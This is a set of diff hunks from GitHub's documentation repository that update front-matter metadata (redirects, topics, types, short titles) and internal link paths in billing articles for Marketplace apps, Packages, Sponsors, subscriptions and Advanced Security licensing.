||||
- Billing
|
||||
- Marketplace
|
||||
---
|
||||
{% data variables.product.prodname_marketplace %} includes apps with free and paid pricing plans. After you purchase and install an app, you can upgrade, downgrade, or cancel at any time.
|
||||
|
||||
@@ -2,14 +2,20 @@
|
||||
title: Canceling a GitHub Marketplace app
|
||||
intro: 'You can cancel and remove a {% data variables.product.prodname_marketplace %} app from your account at any time.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app
|
||||
- /articles/canceling-an-app-for-your-personal-account/
|
||||
- /articles/canceling-an-app-for-your-organization/
|
||||
- /articles/canceling-a-github-marketplace-app
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Cancellation
|
||||
- Marketplace
|
||||
- Organizations
|
||||
- Trials
|
||||
- User account
|
||||
---
|
||||
When you cancel an app, your subscription remains active until the end of your current billing cycle. The cancellation takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
|
||||
|
||||
@@ -2,14 +2,19 @@
|
||||
title: Downgrading the billing plan for a GitHub Marketplace app
|
||||
intro: 'If you''d like to use a different billing plan, you can downgrade your {% data variables.product.prodname_marketplace %} app at any time.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app
|
||||
- /articles/downgrading-an-app-for-your-personal-account/
|
||||
- /articles/downgrading-an-app-for-your-organization/
|
||||
- /articles/downgrading-the-billing-plan-for-a-github-marketplace-app
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Downgrades
|
||||
- Marketplace
|
||||
- Organizations
|
||||
- User account
|
||||
---
|
||||
When you downgrade an app, your subscription remains active until the end of your current billing cycle. The downgrade takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
|
||||
|
||||
@@ -1,18 +1,17 @@
|
||||
---
|
||||
title: Managing billing for GitHub Marketplace apps
|
||||
shortTitle: GitHub Marketplace apps
|
||||
intro: 'You can upgrade, downgrade, or cancel {% data variables.product.prodname_marketplace %} apps at any time.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps
|
||||
- /articles/managing-your-personal-account-s-apps/
|
||||
- /articles/managing-your-organization-s-apps/
|
||||
- /articles/managing-billing-for-github-marketplace-apps
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
children:
|
||||
- /about-billing-for-github-marketplace
|
||||
- /upgrading-the-billing-plan-for-a-github-marketplace-app
|
||||
- /downgrading-the-billing-plan-for-a-github-marketplace-app
|
||||
- /canceling-a-github-marketplace-app
|
||||
---
|
||||
|
||||
@@ -2,14 +2,19 @@
|
||||
title: Upgrading the billing plan for a GitHub Marketplace app
|
||||
intro: 'You can upgrade your {% data variables.product.prodname_marketplace %} app to a different plan at any time.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app
|
||||
- /articles/upgrading-an-app-for-your-personal-account/
|
||||
- /articles/upgrading-an-app-for-your-organization/
|
||||
- /articles/upgrading-the-billing-plan-for-a-github-marketplace-app
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Marketplace
|
||||
- Organizations
|
||||
- Upgrades
|
||||
- User account
|
||||
---
|
||||
When you upgrade an app, your payment method is charged a prorated amount based on the time remaining until your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
|
||||
|
||||
@@ -2,12 +2,14 @@
|
||||
title: About billing for GitHub Packages
|
||||
intro: 'If you want to use {% data variables.product.prodname_registry %} beyond the storage or data transfer included in your account, you will be billed for additional usage.'
|
||||
product: '{% data reusables.gated-features.packages %}'
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Packages
|
||||
- Spending limits
|
||||
---
|
||||
### About billing for {% data variables.product.prodname_registry %}
|
||||
|
||||
@@ -40,7 +42,7 @@ All data transferred out, when triggered by {% data variables.product.prodname_a
|
||||
|Access using a `GITHUB_TOKEN`|Free|Free|
|
||||
|Access using a personal access token|Free|$|
|
||||
|
||||
Storage usage is shared with build artifacts produced by {% data variables.product.prodname_actions %} for repositories owned by your account. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions)."
|
||||
Storage usage is shared with build artifacts produced by {% data variables.product.prodname_actions %} for repositories owned by your account. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
|
||||
|
||||
{% data variables.product.prodname_dotcom %} charges usage to the account that owns the repository where the package is published. If your account's usage surpasses these limits and you have set a spending limit above $0, you will pay $0.25 USD per GB of storage and $0.50 USD per GB of data transfer.
|
||||
|
||||
@@ -63,6 +65,6 @@ Your {% data variables.product.prodname_registry %} usage shares your account's
|
||||
|
||||
{% data reusables.package_registry.packages-spending-limit-detailed %}
|
||||
|
||||
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_registry %}](/github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-packages)."
|
||||
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)."
|
||||
|
||||
{% data reusables.dotcom_billing.actions-packages-unpaid-account %}
|
||||
@@ -1,13 +1,13 @@
|
||||
---
|
||||
title: Managing billing for GitHub Packages
|
||||
shortTitle: GitHub Packages
|
||||
intro: 'You can view your {% data variables.product.prodname_registry %} usage and set a spending limit for {% data variables.product.prodname_registry %}.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
children:
|
||||
- /about-billing-for-github-packages
|
||||
- /viewing-your-github-packages-usage
|
||||
- /managing-your-spending-limit-for-github-packages
|
||||
---
|
||||
|
||||
@@ -2,12 +2,17 @@
|
||||
title: Managing your spending limit for GitHub Packages
|
||||
intro: 'You can set a spending limit for {% data variables.product.prodname_registry %} usage.'
|
||||
product: '{% data reusables.gated-features.packages %}'
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-packages
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Enterprise
|
||||
- Organizations
|
||||
- Packages
|
||||
- Spending limits
|
||||
- User account
|
||||
---
|
||||
### About spending limits for {% data variables.product.prodname_registry %}
|
||||
|
||||
@@ -15,7 +20,7 @@ redirect_from:
|
||||
|
||||
{% data reusables.package_registry.packages-spending-limit-brief %}
|
||||
|
||||
{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_registry %} usage, see "[About billing for {% data variables.product.prodname_registry %}](/github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages)."
|
||||
{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_registry %} usage, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."
|
||||
|
||||
If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/github/setting-up-and-managing-your-enterprise/connecting-an-azure-subscription-to-your-enterprise)."
|
||||
|
||||
@@ -2,12 +2,16 @@
|
||||
title: Viewing your GitHub Packages usage
|
||||
intro: 'You can view details of your usage of storage and data transfer for {% data variables.product.prodname_registry %}.'
|
||||
product: '{% data reusables.gated-features.packages %}'
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-packages-usage
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Enterprise
|
||||
- Packages
|
||||
- Organizations
|
||||
- User account
|
||||
---
|
||||
### Viewing {% data variables.product.prodname_registry %} usage for your user account
|
||||
|
||||
@@ -2,12 +2,14 @@
|
||||
title: About billing for GitHub Sponsors
|
||||
intro: You will be billed for your sponsorships with the rest of your paid products and features.
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-sponsors
|
||||
- /articles/about-billing-for-github-sponsors
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-sponsors
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Billing
|
||||
- Sponsors
|
||||
---
|
||||
{% data reusables.sponsors.sponsorship-details %}
|
||||
|
||||
@@ -2,12 +2,16 @@
|
||||
title: Downgrading a sponsorship
|
||||
intro: You can downgrade your sponsorship to a lower tier or cancel your sponsorship.
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship
|
||||
- /articles/downgrading-a-sponsorship
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Cancellation
|
||||
- Downgrades
|
||||
- Sponsors
|
||||
---
|
||||
{% data reusables.sponsors.org-sponsors-release-phase %}
|
||||
|
||||
@@ -1,15 +1,14 @@
|
||||
---
|
||||
title: Managing billing for GitHub Sponsors
|
||||
shortTitle: GitHub Sponsors
|
||||
intro: You can upgrade or downgrade the tier for each of your sponsorships.
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors
|
||||
- /articles/managing-billing-for-github-sponsors
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
children:
|
||||
- /about-billing-for-github-sponsors
|
||||
- /upgrading-a-sponsorship
|
||||
- /downgrading-a-sponsorship
|
||||
---
|
||||
|
||||
@@ -2,12 +2,15 @@
|
||||
title: Upgrading a sponsorship
|
||||
intro: You can upgrade your sponsorship to a higher tier.
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship
|
||||
- /articles/upgrading-a-sponsorship
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Sponsors
|
||||
- Upgrades
|
||||
---
|
||||
{% data reusables.sponsors.org-sponsors-release-phase %}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
title: About billing for GitHub accounts
|
||||
intro: '{% data variables.product.product_name %} offers free and paid products for every developer or team.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts
|
||||
- /articles/what-is-the-total-cost-of-using-an-organization-account/
|
||||
- /articles/what-are-the-costs-of-using-an-organization-account/
|
||||
- /articles/what-plan-should-i-choose/
|
||||
@@ -13,8 +14,12 @@ redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Billing
|
||||
- Accounts
|
||||
- Discounts
|
||||
- Fundamentals
|
||||
- Upgrades
|
||||
---
|
||||
For more information on the products available for your account, see "[{% data variables.product.product_name %}'s products](/articles/github-s-products)." You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data variables.product.product_name %} does not offer custom products or subscriptions.
|
||||
|
||||
@@ -2,12 +2,15 @@
|
||||
title: About per-user pricing
|
||||
intro: 'With per-user pricing, organizations pay based on team size to access advanced collaboration and management tools for teams, and optionally, security, compliance, and deployment controls.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-per-user-pricing
|
||||
- /articles/about-per-user-pricing
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-per-user-pricing
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Billing
|
||||
- Licensing
|
||||
- Organizations
|
||||
---
|
||||
New organizations can build public and open-source projects with {% data variables.product.prodname_free_team %}, or [upgrade]({% data variables.product.pricing_url %}) to a paid product with per-user pricing.
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
title: Discounted subscriptions for GitHub accounts
|
||||
intro: '{% data variables.product.product_name %} provides discounts to students, educators, educational institutions, nonprofits, and libraries.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts
|
||||
- /articles/discounted-personal-accounts/
|
||||
- /articles/discounted-organization-accounts/
|
||||
- /articles/discounted-billing-plans/
|
||||
@@ -9,8 +10,13 @@ redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: reference
|
||||
topics:
|
||||
- Billing
|
||||
- Accounts
|
||||
- Education
|
||||
- Discounts
|
||||
- Nonprofits
|
||||
- User account
|
||||
---
|
||||
{% tip %}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
title: Downgrading your GitHub subscription
|
||||
intro: 'You can downgrade the subscription for any type of {% data variables.product.product_name %} account at any time.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-your-github-subscription
|
||||
- /articles/downgrading-your-personal-account-s-billing-plan/
|
||||
- /articles/how-do-i-cancel-my-account/
|
||||
- /articles/downgrading-a-user-account-to-free/
|
||||
@@ -19,7 +20,11 @@ redirect_from:
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
- Accounts
|
||||
- Downgrades
|
||||
- Organizations
|
||||
- Repositories
|
||||
- User account
|
||||
---
|
||||
### Downgrading your {% data variables.product.product_name %} subscription
|
||||
|
||||
@@ -57,7 +62,7 @@ If you downgrade your organization from {% data variables.product.prodname_ghe_c
|
||||
|
||||
{% data reusables.dotcom_billing.org-billing-perms %}
|
||||
|
||||
{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[Switching your organization from per-repository to per-user pricing](/github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)."
|
||||
{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[Switching your organization from per-repository to per-user pricing](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)."
|
||||
|
||||
{% data reusables.profile.access_org %}
|
||||
{% data reusables.profile.org_settings %}
|
||||
@@ -2,12 +2,17 @@
|
||||
title: How does upgrading or downgrading affect the billing process?
|
||||
intro: 'When you upgrade the subscription for your personal account or organization, changes are applied immediately. When you downgrade your subscription, changes are applied at the end of your current billing cycle.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/how-does-upgrading-or-downgrading-affect-the-billing-process
|
||||
- /articles/how-does-upgrading-or-downgrading-affect-the-billing-process
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/how-does-upgrading-or-downgrading-affect-the-billing-process
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Fundamentals
|
||||
- Organizations
|
||||
- Upgrades
|
||||
- User account
|
||||
---
|
||||
Changes to your paid user account or organization subscription does not affect subscriptions or payments for other paid {% data variables.product.prodname_dotcom %} features, such as {% data variables.large_files.product_name_long %} or paid apps purchased in {% data variables.product.prodname_marketplace %}.
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
---
|
||||
title: Managing billing for your GitHub account
|
||||
shortTitle: Your GitHub account
|
||||
intro: '{% data variables.product.product_name %} offers free and paid products for every account. You can upgrade, downgrade, and view pending changes to your account''s subscription at any time.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account
|
||||
- /categories/97/articles/
|
||||
- /categories/paying-for-user-accounts/
|
||||
- /articles/paying-for-your-github-user-account/
|
||||
@@ -13,8 +15,6 @@ redirect_from:
|
||||
- /articles/managing-billing-for-your-github-account
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
topics:
|
||||
- Billing
|
||||
children:
|
||||
- /about-billing-for-github-accounts
|
||||
- /about-per-user-pricing
|
||||
@@ -24,4 +24,3 @@ children:
|
||||
- /downgrading-your-github-subscription
|
||||
- /discounted-subscriptions-for-github-accounts
|
||||
---
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
title: Upgrading your GitHub subscription
|
||||
intro: 'You can upgrade the subscription for any type of {% data variables.product.product_name %} account at any time.'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription
|
||||
- /articles/upgrading-your-personal-account-s-billing-plan/
|
||||
- /articles/upgrading-your-personal-account/
|
||||
- /articles/upgrading-your-personal-account-from-free-to-a-paid-account/
|
||||
@@ -20,8 +21,12 @@ redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Organizations
|
||||
- Troubleshooting
|
||||
- Upgrades
|
||||
- User account
|
||||
---
|
||||
### Upgrading your personal account's subscription
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
title: Viewing and managing pending changes to your subscription
|
||||
intro: You can view and cancel pending changes to your subscriptions before they take effect on your next billing date.
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription
|
||||
- /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan/
|
||||
- /articles/viewing-and-managing-pending-changes-to-your-organization-s-billing-plan/
|
||||
- /articles/viewing-and-managing-pending-changes-to-your-billing-plan/
|
||||
@@ -9,8 +10,10 @@ redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Billing
|
||||
- Organizations
|
||||
- User account
|
||||
---
|
||||
You can cancel pending changes to your account's subscription as well as pending changes to your subscriptions to other paid features and products.
|
||||
|
||||
@@ -2,10 +2,15 @@
|
||||
title: About licensing for GitHub Advanced Security
|
||||
intro: 'If you want to use {% data variables.product.prodname_GH_advanced_security %} features in a private or internal repository, you need a license. These features are available free of charge for public repositories.'
|
||||
product: '{% data reusables.gated-features.ghas %}'
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/about-licensing-for-github-advanced-security
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Advanced Security
|
||||
- Enterprise
|
||||
- Licensing
|
||||
---
|
||||
### About licensing for {% data variables.product.prodname_GH_advanced_security %}
|
||||
|
||||
@@ -25,7 +30,7 @@ To discuss licensing {% data variables.product.prodname_GH_advanced_security %}
|
||||
|
||||
You can enforce policies to allow or disallow the use of {% data variables.product.prodname_advanced_security %} by organizations owned by your enterprise account. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise account](/github/setting-up-and-managing-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise-account)."
|
||||
|
||||
For more information on viewing license usage, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-advanced-security-usage)."
|
||||
For more information on viewing license usage, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
|
||||
|
||||
### Getting the most out of your {% data variables.product.prodname_GH_advanced_security %} license
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
---
|
||||
title: Managing licensing for GitHub Advanced Security
|
||||
shortTitle: GitHub Advanced Security
|
||||
intro: 'You can view and manage your use of seats on a license for {% data variables.product.prodname_advanced_security %}.'
|
||||
product: '{% data reusables.gated-features.ghas %}'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
children:
|
||||
- /about-licensing-for-github-advanced-security
|
||||
- /viewing-your-github-advanced-security-usage
|
||||
---
|
||||
|
||||
@@ -8,8 +8,13 @@ redirect_from:
|
||||
- /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-advanced-security-usage
|
||||
versions:
|
||||
free-pro-team: '*'
|
||||
type: how_to
|
||||
topics:
|
||||
- Advanced Security
|
||||
- Enterprise
|
||||
---
|
||||
{% data reusables.advanced-security.about-ghas-license-seats %} For more information, see "[About licensing for {% data variables.product.prodname_GH_advanced_security %}](/github/setting-up-and-managing-billing-and-payments-on-github/about-licensing-for-github-advanced-security)."
|
||||
|
||||
{% data reusables.advanced-security.about-ghas-license-seats %} For more information, see "[About licensing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-licensing-for-github-advanced-security/about-licensing-for-github-advanced-security)."
|
||||
|
||||
### Viewing {% data variables.product.prodname_GH_advanced_security %} license usage for your enterprise account
|
||||
|
||||
@@ -20,7 +25,7 @@ You can check how many seats your license includes and how many of them are curr
|
||||
{% data reusables.enterprise-accounts.license-tab %}
|
||||
The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage.
|
||||

|
||||
If you run out of seats, the section will be red. You should either reduce your use of {% data variables.product.prodname_GH_advanced_security %} or purchase more seats. For more information, see "[About licensing for {% data variables.product.prodname_GH_advanced_security %}](/github/setting-up-and-managing-billing-and-payments-on-github/about-licensing-for-github-advanced-security#getting-the-most-out-of-your-github-advanced-security-enterprise-license)."
|
||||
If you run out of seats, the section will be red. You should either reduce your use of {% data variables.product.prodname_GH_advanced_security %} or purchase more seats. For more information, see "[About licensing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-licensing-for-github-advanced-security/about-licensing-for-github-advanced-security#getting-the-most-out-of-your-github-advanced-security-enterprise-license)."
|
||||

|
||||
4. Optionally, to see a detailed breakdown of usage per organization, in the left sidebar, click **Billing**.
|
||||

|
||||